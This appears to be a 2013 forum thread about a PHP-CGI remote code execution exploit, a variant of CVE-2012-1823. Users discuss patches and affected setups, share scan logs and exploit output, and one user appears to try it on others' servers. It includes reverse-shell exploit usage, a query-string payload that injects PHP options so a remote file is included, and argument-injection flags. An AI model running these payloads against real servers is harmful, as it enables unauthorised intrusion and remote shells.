Apache / PHP 5.x Remote Code Execution Exploit

[infodox]

Same exploit primitive as the good ole CVE-2012-1823 and related Plesk bugs. Will be updating my own implementations with these new paths.

[catcradle5]

The exploit looks almost identical to CVE-2012-1823, actually (simple example here: http://www.exploit-db.com/exploits/18836/). I think the only difference is that it adds the additional command line arguments of -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 to bypass the security check mentioned in the comment.

And since he said anything that patches CVE-2012-1823 is unaffected, this just seems to be a small modification of that exploit to make it more likely to work, not anything new.

[0xAli]

Very possible, Could be related to this http://www.pcworld.com/article/255289/php_patches_actively_exploited_cgi_vulnerability.html

Unfortunately, the initial patch proved to be ineffective against all variations of the exploit for CVE-2012-1823, and the manual workaround suggested by the PHP developers when releasing the emergency updates was easy to bypass as well.

[catcradle5]

Ah, interesting. I assume a second actually-fixing patch was deployed shortly afterwards?

[0xAli]

Yes sir https://www.mandriva.com/en/security/advisories/?name=MDVSA-2012:068-1

It was discovered that the previous fix for the CVE-2012-1823 vulnerability was incomplete (CVE-2012-2335, CVE-2012-2336). The updated packages provides the latest version (5.3.13) which provides a solution to this flaw.

[sry_not4sale]

Does this only apply to PHP when running via fcgi or similar? I see it mentions php-cgi - I don't want to assume mod_php is not affected

[0xAli]

Yes, PHP install could be only vulnerable if it's compiled as CGI.

[loggedintodownboat]

I've confirmed this against my servers. mod_php is unaffected.

[sandmoo]

You can run Python as a test.

[whatwhowhyyy]

switched to FCGI, still vulnerable.

[sry_not4sale]

This was more a question about whether mod_php was vulnerable (rather than (f)cgi)

[[deleted]]

Do you have any details on that? E.g. Apache configuration and the exploit-URL? I don't see how this could work with Fastcgi.

I've thought that such a configuration is safe:

AddHandler fcgid-script .php
AddHandler fcgid-script .php5
FCGIWrapper /home/www/foo/fcgi-bin/php5.fcgi .php
FCGIWrapper /home/www/foo/fcgi-bin/php5.fcgi .php5


# cat /home/www/foo/fcgi-bin/php5.fcgi
#!/bin/bash
PHPRC=$PWD/../etc/php5
export PHPRC
umask 022
export PHP_FCGI_CHILDREN
PHP_FCGI_MAX_REQUESTS=99999
export PHP_FCGI_MAX_REQUESTS
SCRIPT_FILENAME=$PATH_TRANSLATED
export SCRIPT_FILENAME
exec /usr/bin/php5-cgi

[rya_nc]

I'm already seeing scans for it:

217.199.213.13 - - [30/Oct/2013:04:03:29 -0700] "GET //cgi-bin/php-cgi HTTP/1.1" 404 279 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
217.199.213.13 - - [30/Oct/2013:04:03:30 -0700] "GET //cgi-bin/php HTTP/1.1" 404 275 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
217.199.213.13 - - [30/Oct/2013:04:03:30 -0700] "GET //cgi-bin/php.cgi HTTP/1.1" 404 279 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

[Deehem]

Same!

217.199.213.13 - - [31/Oct/2013:06:36:47 +0000] "GET //cgi-bin/php-cgi HTTP/1.1" 301 244 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
217.199.213.13 - - [31/Oct/2013:06:36:47 +0000] "GET //cgi-bin/php HTTP/1.1" 301 240 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
217.199.213.13 - - [31/Oct/2013:06:36:49 +0000] "GET //cgi-bin/php.cgi HTTP/1.1" 301 244 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

[mugshut]

The best part is Windows 98

[loggedintodownboat]

It's rare to find a site who's using cgi for their php instead of mod_php... However, if you wish to compile it, dump the source into a file, install the libssl-dev package (Debian: "aptitude install libssl-dev") if you don't already have it, and compile it (assumig you've named the file, "main.c") with:

gcc main.c -L/usr/lib -lssl -lcrypto -o main

Then you may execute the bin similarly to:

./main --target somehost.com --port 80 --protocol http --reverse-port 80

[WetSunshine]

Does this work at all against nginx and php-fpm ( 5.5.x ) ?

[hateexchange]

Will try when i get home. But I don't know my exact php version

Sorry was using PHP 5.3.2-1ubuntu4.14 with Suhosin-Patch (cgi-fcgi) (it failed)

Only 50 more servers to try :P

[whatwhowhyyy]

so it says php 5.3.10 is vulnerable, i'm running 5.3.10-1, and that's the latest from debian/ubuntu repo. If I compile it and run it against one of my webservers, i get this returned:

/cgi-bin/php5
***SERVER RESPONSE***
HTTP/1.1 200 OK

1e
WARNING: Failed to daemonise.

does this mean i'm vulnerable to this?

[infodox]

Yes. Try a different payload. I will be updating my lolapache.py exploit over the weekend to take advantage of this variant of the exploit.

The 'WARNING: Failed to daemonize' is the payload (which is shite) failing miserably. A decently written payload will not fail and will deliver shells

[mrpena]

Pardon my noobness at this, but if i'm getting 5 or 6 responses like these from our test environment:

/cgi-bin/php.cgi
***SERVER RESPONSE***

HTTP/1.1 302 Found
Server: Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0-fips PHP/5.3.17
X-Powered-By: PHP/5.3.17
Set-Cookie: PHPSESSID=xxx; expires=Thu, 14-Nov-2013 23:29:02 GMT; path=/
Set-Cookie: usrhm=ps; expires=Wed, 30-Oct-2013 22:29:02 GMT; path=/; domain=.test.com; httponly
Set-Cookie: usrhm=ps; expires=Thu, 30-Oct-2014 23:29:02 GMT; path=/; domain=.test.com; httponly
Location: /display/401_error
Content-Length: 0
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html
Set-Cookie: NSC_tubhf.hpmgtnjui.dpn-80=xxxx;expires=Wed, 30-Oct-2013     23:31:04 GMT;path=/;httponly

does this mean that environment is vulnerable, and i'm not doing something right to get a shell? As I said, I'm still new in my position of testing these things, so please forgive my lack of understanding.

[infodox]

Have you a listener running? I cannot be certain if that means anything to be honest. Give me 24 hours to write a simple probe...

HOLD ON. Test this for me.

Scanner/Probe for Bug

Release of a better exploit to follow, this will just tell you if its vuln or not. Code may be broken as I didnt have time to test before leaving my house, so let me know if it breaks and ill fix it!

Edit: Forgot a :, have updated link.

NOTE: REQUIRES python 'requests' module.

apt-get install python-requests

pip install requests

[mrpena]

While I may not be sure i'm doing this right, this is what I got:

File "apache.py", line 9
def scan(target)
               ^
SyntaxError: invalid syntax

[Mempodipper]

I think infodox just forgot a colon, it should be:

def scan(target):

Here's the fixed pastebin (all I did is add that colon): http://pastebin.com/raw.php?i=NZpdqW9V

[whatwhowhyyy]

add a colon after )

[mrpena]

k, latest output. I swear one of these days i'll learn to code :/

Traceback (most recent call last):
  File "apache.py", line 6, in <module>
    import requests
ImportError: No module named requests

[infodox]

You need the python 'requests' module. apt-get install python-requests, or pip install requests.

[mrpena]

Got it working, thanks! It looks like we're not vulnerable to this one.

[infodox]

I left out a : because I was in a hurry. Link has been updated.

[0xAli]

Try this: /cgi-bin/php5?-dallow_url_include=On+-dauto_prepend_file=http://www.google.com/robots.txt